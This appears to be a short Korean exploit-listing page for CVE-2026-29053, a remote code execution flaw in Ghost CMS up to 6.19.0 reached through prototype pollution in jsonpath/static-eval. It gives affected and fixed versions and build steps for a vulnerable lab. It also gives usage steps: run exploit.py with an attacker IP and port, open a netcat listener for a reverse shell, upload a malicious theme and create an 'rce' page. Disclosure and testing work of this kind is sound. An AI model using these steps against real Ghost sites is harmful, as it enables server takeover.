CVE-2026-29053 — # Ghost CMS 원격 코드 실행 PoC 익스플로잇 jsonpath와 static-eval의 프로토타입 오염(prototype pollution)을 통한 Ghost CMS 원격 코드 실행(RCE) 개념 증명(PoC) 익스플로잇으로, 취약한 환경 구성 및 사용 방법을 포함합니다. | Kitploit

CVE-2026-29053

Ghost CMS에서 jsonpath/static-eval 프로토타입 체인을 통한 RCE.

정보

CVE: CVE-2026-29053
영향 범위: jsonpath 1.1.1 + static-eval 2.0.2를 사용하는 Ghost <= 6.19.0
수정 버전: 6.19.1

데모

CVE-2026-29053.webm

취약 환경 구축

cd build
./build.sh

사용 방법

python3 exploit.py -i <YOUR_IP> -p <PORT>

리스너 시작: nc -lvnp <PORT>
Ghost Admin → Settings → Design에서 malicious-theme.zip 업로드
슬러그가 rce인 페이지 생성

CVE-2026-29053

인기

참고 자료